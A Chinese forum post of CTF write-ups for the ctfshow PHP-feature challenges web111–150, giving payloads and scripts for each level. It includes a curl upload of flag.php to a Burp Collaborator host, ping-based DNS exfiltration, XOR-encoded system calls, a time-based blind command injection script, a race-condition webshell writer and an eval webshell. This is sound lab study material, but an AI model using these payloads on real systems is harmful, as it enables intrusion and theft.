Ctfshow/PHP特性—web111-150

sn0w   ·   发表于 9天前   ·   CTF&WP专版

web111

考点:变量覆盖、$GLOBALS

image.png
考察的是变量覆盖,可以使用$GLOBALS来做这道题
image.png

  1. ?v1=ctfshow&v2=GLOBALS

web112

考点:伪协议

image.png
过滤了伪协议中的一部分,但是例如convert.iconv.UCS-2LE.UCS-2BE、utf-8和utf-7这种编码的却没有过滤掉,而且这道题使用的函数是highlight_file函数,只能读取,不能写入

  1. ?file=php://filter//convert.iconv.utf-8.utf-7/resource=flag.php
  2. ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

既然没有限制,那直接读取就好了

  1. ?file=php://filter/resource=flag.php
  2. 除此之外,还可以使用
  3. compress.zlib://flag.php #zlib://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
  4. php://filter/read=convert.quoted-printable-encode/resource=flag.php

web113

考点:/proc/self/root重复一定次数可以绕过is_file函数

image.png
相较于上一题,过滤了filter,但是可以使用zlib://协议来做这道题

  1. ?file=compress.zlib://flag.php

看了官方的wp,发现还可以使用这种方法来绕过

  1. ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
  2. roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
  3. c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
  4. self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
  5. lf/root/proc/self/root/var/www/html/flag.php

image.png
在linux中/proc/self/root是指向根目录的,这里看了很多师傅的wp,都是只记录了一个payload,找到了一个大师傅对于这个方法的解释

web114

考点:伪协议

image.png
虽然过滤了root和compress,但是没有过滤掉filter,所以还是可以直接进行读取的

  1. ?file=php://filter/resource=flag.php

web115

考点:绕过is_numeric和trim函数

image.png
主要便是想办法绕过is_numeric和trim这两个函数,先来看一下trim这个函数的简单介绍
image.png
可以测试一下,看那些符号能同时满足这两个符号

  1. <?php
  2. for ($i=0; $i <=128 ; $i++) {
  3. $x=chr($i).'36';
  4. if(trim($x)!=='36' && is_numeric($x)){
  5. echo urlencode(chr($i))."\n";
  6. }
  7. }

image.png
%2B、. 、-又都被过滤掉了,所以只能使用%0c

  1. ?num=%0C36

web123

考点:PHP变量名格式、$_SERVER['argv']

image.png
这道题在测试的过程中,有两个地方有疑惑,第一个是$a=$_SERVER['argv'];有什么用,第二个便是为什么$_POST['CTF_SHOW.COM']无法传入参数
image.png
先来解决第二个问题,传入进去参数是因为PHP变量名应该只有数字字母下划线,而且GET或POST方式传进去的变量名,会自动将空格 + . [转换为_,但是有一个特性可以绕过,使变量名出现.之类的特殊字符。

当以GET或POST方式传参时,变量名中的[也会被替换为_,而其后的字符就不会被替换了。

所以可以利用这个特性来进行传参

  1. DATA:
  2. CTF_SHOW=1&CTF[SHOW.COM=1

image.png
这样便可以传参成功了,接下来再看第第一个问题,$_SERVER['argv'];有什么作用
image.png

  1. 1cli模式(命令行)下
  2. 第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
  3. 2web网页模式下
  4. web页模式下必须在php.ini开启register_argc_argv配置项
  5. 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER['argv']才会有效果
  6. 这时候的$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
  7. $argv,$argcweb模式下不适用

在网页模式下运行的,$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER[‘QUERY_STRING’],这时候只要通过 eval(“$c”.”;”);将$fl0g赋值flag_give_me就可以了

  1. ?$fl0g=flag_give_me;
  2. DATA:
  3. CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
  4. 除此之外,还可以直接输出flag
  5. CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
  6. CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)#本地测试可行

看了官方的wp,预期解应该是

  1. a=1+fl0g=flag_give_me
  2. DATA:
  3. CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

本地测试出结果

  1. <?php
  2. $a=$_SERVER['argv'];
  3. var_dump($a);
  4. 传入 a=1+fl0g=flag_give_me

先要在php.ini开启register_argc_argv配置项
image.png
结果如下:
image.png
所以payload中调用的是$a[1]
parse_str解释如下:
image.png
image.png

web125

image.png
过滤了上一关的非预期解,但是预期解还是可以使用的

  1. ?a=1+fl0g=flag_give_me
  2. DATA
  3. CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])

除此之外,还可以利用这种方法获取到flag

  1. ?1=flag.php
  2. DATA:
  3. CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

image.png
与上一关相比较,多过滤g|i|f|c|o|d,无法使用highlight_file函数,但是之前的预期解还是可以的

  1. ?a=1+fl0g=flag_give_me
  2. DATA
  3. CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])
  4. ?$fl0g=flag_give_me;
  5. DATA:
  6. CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web127

考点:PHP变量名空格可替代_

image.png
先了解一下extract这个函数,跟上面使用的parsestr函数类似
image.png
接下来的问题便是如何让$ctf_show==='ilove36d',虽然过滤了`
,但是前几天中已经遇到过类似的这种题目,GET或POST方式传进去的变量名,会自动将空格+ . [转换为`
这里空格还没有被过滤掉,所以可以使用空格来替代

  1. ?ctf show=ilove36d

web128

考点:gettext函数、get_defined_vars函数

image.png
这题是真的一点思路都没有,只能看官方的wp了,这道题涉及到的是php中的gettext的用法,先了解一下

php的扩展gettext实现程序的国际化

image.png
_()是gettext()函数的简写形式,那既然变量f1过滤数字和字母,就可以使用该符号来代替这个函数,这样便可以绕过第一个嵌套,然后再由最外面的call_user_func执行命令

  1. call_user_func(call_user_func('_','phpinfo'))=>call_user_func('phpinfo')

虽然该函数会报错
image.png
但是还是会继续执行,不会停止,这时候便会执行phpinfo这个命令,但这里要获取flag,就需要再了解一个函数get_defined_vars
image.png
已知包含了flag.php。而flag.php肯定包含已定义好的变量列表的多维数组,故payload:

  1. ?f1=_&f2=get_defined_vars

image.png

web129

考点:目录遍历

image.png
只要满足stripos就好了,其他也没有任何限制,可以使用伪协议

  1. ?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

这题无法使用stripos遇到数组无法处理返回NULL,因为if条件是>0
image.png
但是这里可以利用目录穿越漏洞绕过 stripos 检测字符

  1. ?f=/ctfshow/../../var/www/html/flag.php
  2. ?f=./ctfshow/../flag.php

web130

考点:preg_match回溯绕过

image.png

preg_match只能处理字符串,当传入的subject是数组时会返回false,而stripos遇到数组返回false

  1. DATA:
  2. f[]=ctfshow

但是提示是very\very,这里应该考察的是利用正则最大回溯次数绕过

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限
image.png
回溯次数上限默认是100万,如果回溯次数超过了100万,preg_match返回的便不再是0或1,而是false,利用这个方法,可以写一个脚本,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF

  1. import requests
  2. url = 'http://3638bf4e-f63d-477c-95eb-ba023f279de8.chall.ctf.show:8080/'
  3. data = {
  4. 'f':'very'*250000+'ctfshow'
  5. }
  6. reponse = requests.post(url,data=data)
  7. print(reponse.text)

但这里没有复现成功,不知道是哪里的问题,可以看师傅的博客

web131

image.png
与上一关唯一不同的便是$f = (String)$_POST['f'];,多了一个String,便无法使用数组来做这道题,但可以使用上面提到的使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF

  1. import requests
  2. url = 'http://bc80527d-2256-4e0a-8637-1687c33494b4.chall.ctf.show:8080/'
  3. data = {
  4. 'f':'very'*250000+'36Dctfshow'
  5. }
  6. reponse = requests.post(url,data=data)
  7. print(reponse.text)

image.png

web133

image.png
因为substr函数的限制只能读取前6个字符执行命令。而且禁用了命令执行的相关函数,也没有写入权限。看了师傅的WP,这道题主要考察的是命令执行的骚操作和curl -F的使用

如果传递的参数是$F本身,会不会出现变量覆盖那

  1. ?F=`$F `;sleep 3
  2. substr函数截取前六位得到的是`$F `;
  3. 然后$F便是输出的`$F `;sleep 3,故最后执行的代码是
  4. ``$F `;sleep 3`
  5. ``shell_exec()函数的缩写

发现curl并没有被过滤,便可以利用curl带出flag.php,curl -F 将flag文件上传到Burp的 Collaborator Client( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
image.pngimage.png
payload:

  1. ?F=`$F `;curl -X POST -F Sn0w=@flag.php 1216a307cv2bgog6aua6lmje157vvk.burpcollaborator.net

这里要解释一下

  1. #其中-F 为带文件的形式发送post请求
  2. #Sn0w是上传文件的name值,flag.php就是上传的文件

其实原理很简单,相当于这台服务器上传文件传输到burp的Collaborator Client

web134

考察点:POST数组的覆盖

image.png
代码中同时含有parse_str和extract($_POST)

考察的应该便是变量覆盖,可以先将GET方法请求的解析成变量,然后再利用extract() 函数从数组中将变量导入到当前的符号表,故payload为:

  1. ?_POST[key1]=36d&_POST[key2]=36d

web135

image.png
跟web133一样,但是过滤的内容增加了,仔细查看发现ping命令并没有被过滤掉,可以测试一下

  1. ?F=`$F `;ping `whoami`.8x5dib.dnslog.cn

image.png
可以利用,那么接下来就想办法去读取到flag,读取的命令大多也被过滤掉了,但是sed、awk还没被过滤,尝试一下发现都无法进行读取

  1. ?F=`$F `;ping `awk '/flag/' flag.php`.8x5dib.dnslog.cn

查资料发现读取文件常用的还有这个
image.png
读取一下也没有回显,考虑下重定向写入文件试试

  1. ?F=`$F `;ping `nl flag.php>>Sn0w.txt`

image.png
并没有限制写入文件,所以即可没有任何写入限制,那payload就很多了

  1. ?F=`$F`; cp flag.php Sn0w.txt
  2. ?F=`$F`; mv flag.php Sn0w.txt

web136

考察点:Linux tee命令

image.png
这道题几乎都过滤掉了,看了WP发现是考察linux中的tee命令

tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件

  1. tee file1 file2 //复制文件
  2. ls|tee Sn0w.txt //命令输出
  1. ?c=ls /|tee Sn0w
  2. url后面请求Sn0w文件

image.png
发现有flag文件,读取即可

  1. ?c=cat /f149_15_h3r3|tee Sn0w

image.png

web137

考点:call_user_func读取类中的函数

image.png
考察的点应该便是call_user_func函数调用类中的函数,这里举一个简单的例子

  1. class Test
  2. {
  3. static public function getS()
  4. {
  5. echo "123";
  6. }
  7. }
  8. 相当于
  9. call_user_func(array('Test','getS'));
  10. #输出结果
  11. 123
  12. 定义一个类Test及类方法getS,call_user_func的输入参数变为一个数组,数组第一个元素为对象名、第二个元素为参数
  13. #如果不加static,数据会出现,但是有可能会报错

所以就很简单了,只要调用类中的函数即可,这里需要用到双冒号操作符(即作用域限定操作符可以访问静态、const和类中重写的属性与方法。
在类定义外使用的话,使用类名调用。在PHP 5.3.0,可以使用变量代替类名。)

  1. ctfshow[0]=ctfshow&ctfshow[1]=getFlag

除此之外,还可以使用::

  1. DATA:
  2. ctfshow=ctfshow::getFlag

补充一下-> => :: $this->的作用

  1. ->用来引用一个类的属性(变量)、方法(函数)
  2. =>是用来定义数组
  3. ::直接调用类中的属性或方法
  4. $this->表示实例化后的具体对象

web138

image.png
先了解一下strripos这个函数
image.png
发现也没有相应的漏洞,那就还从call_user_func这个函数本身入手,便可以利用上一道提到的方法

  1. ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

考点:命令延时注入

image.png
和之前的web136题一样,但是没有了写入权限,所以没有回显,但是可以通过延时来注出字符

  1. import requests
  2. import time
  3. import string
  4. import datetime
  5. if __name__ == "__main__":
  6. url = "http://2c2d57e8-66bb-49b9-b574-01b5f14eadd7.chall.ctf.show:8080/"
  7. chars=string.ascii_letters+string.digits+'_'
  8. for i in range(1,15):
  9. name = ''
  10. for j in range(1,15):
  11. for char in chars:
  12. payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 1;fi".format(i, j, char)
  13. t1=datetime.datetime.now()
  14. urls = url+"?c="+payload
  15. r=requests.get(url=urls)
  16. t2=datetime.datetime.now()
  17. sec = (t2 - t1).seconds
  18. if sec>=1:
  19. name+=char
  20. print(name)
  21. break
  22. if char=='':
  23. break

image.png
得到文件名,接下来就读取文件就可以了,将payload更改一下即可

  1. payload = "if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(i, char)

web140

image.png
==弱类型比较,只要让$code是字符或数字即可

  1. f1=system&f2=phpinfo

web141

考点:PHP中数字可以与字符做运算、取反

image.png
/^W+$作用是匹配非数字字母下划线的字符,只要能绕过return便可以获取到flag

在PHP中数字和命令可以进行运算
image.png
**
所以可以利用这个特性,结合取反来构造相应的payload

  1. ?v1=2&v2=2&v3=%(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)%
  2. #%8C%86%8C%8B%9A%92
  3. system
  4. #%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F
  5. cat flag.php

web142

  1. ?v1=0

web143

考点:异或

image.png
和web141差不多一样,只不过增加了过滤,过滤了~取反符号,但发现并没有过滤掉^,也就是说可以使用异或来做这道题,参考师傅的脚本

  1. <?php
  2. $myfile = fopen("xor_rce","w");
  3. $contents = "";
  4. for ($i=0; $i<256; $i++) {
  5. for ($j=0; $j<256; $j++) {
  6. if($i<16){
  7. $hex_i='0'.dechex($i);
  8. #补零是为了防止hex2bin函数报错
  9. }
  10. else{
  11. $hex_i=dechex($i);
  12. }
  13. if($j<16){
  14. $hex_j='0'.dechex($j);
  15. }
  16. else{
  17. $hex_j=dechex($j);
  18. }
  19. $preg = '/[a-z0-9]/i';#更改题目中对应的正则表达式
  20. if(preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))){
  21. echo "";
  22. }
  23. else{
  24. $a = '%'.$hex_i;
  25. $b = '%'.$hex_j;
  26. $c = (urldecode($a)^urldecode($b));
  27. if (ord($c)>=32&ord($c)<=126){
  28. $contents = $contents.$c." ".$a." ".$b."\n";
  29. }
  30. }
  31. }
  32. }
  33. fwrite($myfile,$contents);
  34. fclose($myfile);

生成一个字典后,再使用如下字典将每个字符进行匹配,看那两个异或后可以生成我们相要的字符

  1. # coding=gbk
  2. import requests
  3. import urllib
  4. from sys import *
  5. import os
  6. def action(arg):
  7. s1=""
  8. s2=""
  9. for i in arg:
  10. f=open("xor_rce.txt","r")
  11. while True:
  12. t=f.readline()
  13. if t=="":
  14. break
  15. if t[0]==i:
  16. #print(i)
  17. s1+=t[2:5]
  18. s2+=t[6:9]
  19. break
  20. f.close()
  21. output="(\""+s1+"\"^\""+s2+"\")"
  22. return(output)
  23. while True:
  24. param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
  25. print(param)

字符可以与数字进行运算,这里没有过滤掉*,所以还可以用
payload:

  1. ?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")*

web144

image.png
考察的和Web141一样,但是这里参数的位置变了
if(is_numeric($v1) && check($v3))
preg_match('/^\W+$/', $v2)

除此之外,也没有任何过滤了,payload如下:

  1. ?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")&v3=*

web145

考点:三目运算符

image.png
过滤了运算符,过滤了异或符号,但是没过滤取反符号,这道题和上一道题的check函数比较像,考察了三目运算符

  1. return 1?phpinfo():1

故payload为:

  1. ?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F):

web146

考点:等号与位运算符

image.png
过滤了三目运算符,但没有过滤=和|,所以可以利用这两个符号构造payload
image.png
测试发现这样构造可以让phpinfo()正常回显,所以payload就很好构造了

  1. ?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)||&v2=1

除此之外还可以这样进行构造
image.png
既然没有过滤掉|,所以使用这种构造方法也可以,但注意这道题将双引号给过滤了,所以脚本生成的双引号替换成单引号即可

  1. ?v1=1&v2=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|

web147

考点:create_function函数、%5c的含义

image.png
先fuzz测试一下看看是否能在函数名的头或者尾找一个字符,不影响函数调用

  1. #字典
  2. <?php
  3. for ($i=0; $i<256; $i++) {
  4. if($i<16){
  5. $hex_i='0'.dechex($i);
  6. print($hex_i);
  7. print("\n");
  8. }
  9. else{
  10. $hex_i=dechex($i);
  11. print($hex_i);
  12. print("\n");
  13. }
  14. }

经过fuzz测试发现,%5c可以使用
image.png
之所以%5c能够绕过正则表达式,是因为在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

接下来便是要考虑用什么函数来只控制第二个参数执行命令的问题,这里可以使用create_function,第一个参数是参数,第二个参数是内容,函数结构类似:

  1. create_function('$a,$b','return 111')
  2. 相当于如下:
  3. function a($a, $b){
  4. return 111;
  5. }

所以那如果我们这样进行构造payload

  1. create_function('$a,$b','return 111;}phpinfo();//')
  2. function a($a, $b){
  3. return 111;}phpinfo();//
  4. }

phpinfo()便会被执行,所以根据这个思路来进行构造payload

  1. ?show=echo Sn0w;}system('cat f*');//
  2. DATA:
  3. ctf=%5ccreate_function

web148

image.png
没有过滤^,直接异或即可

  1. ?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");

web149

考点:条件竞争

image.png
写一个多线程脚本,一边跑一边读

  1. import requests
  2. import threading
  3. url = "http://ae3929ad-8f8f-4dc5-88c9-511d15e5625d.chall.ctf.show:8080/"
  4. def write():
  5. while event.isSet():
  6. data = {
  7. 'show':'<?php system("ls /");?>'
  8. }
  9. W_reponse = requests.post(url+"?ctf=1.php",data=data)
  10. def read():
  11. while event.isSet():
  12. R_reponse = requests.get(url+"1.php")
  13. if R_reponse.status_code != 404:
  14. print(R_reponse.text)
  15. event.clear()
  16. else:
  17. print('[*]continued')
  18. if __name__ == '__main__':
  19. # 通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
  20. event = threading.Event()
  21. # 将event的标志设置为True,调用wait方法的所有线程将被唤醒;
  22. event.set()
  23. for i in range(1, 100):
  24. threading.Thread(target=write).start()
  25. for i in range(1, 100):
  26. threading.Thread(target=read).start()

image.png
再更改语句读取ctfshow_fl0g_here.txt即可

除此之外,这道题还有一个非预期,直接向index.php文件中写入内容

  1. ?ctf=index.php
  2. DATA:
  3. show=<?php eval($_POST['a']);?>

image.png

用户名金币积分时间理由
veek 100.00 0 2021-02-18 10:10:33 感谢分享~

打赏我,让我更有动力~

0 Reply   |  Until 9天前 | 47 View
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016 - 2021. All Rights Reserved. 掌控者

Powered by 掌控者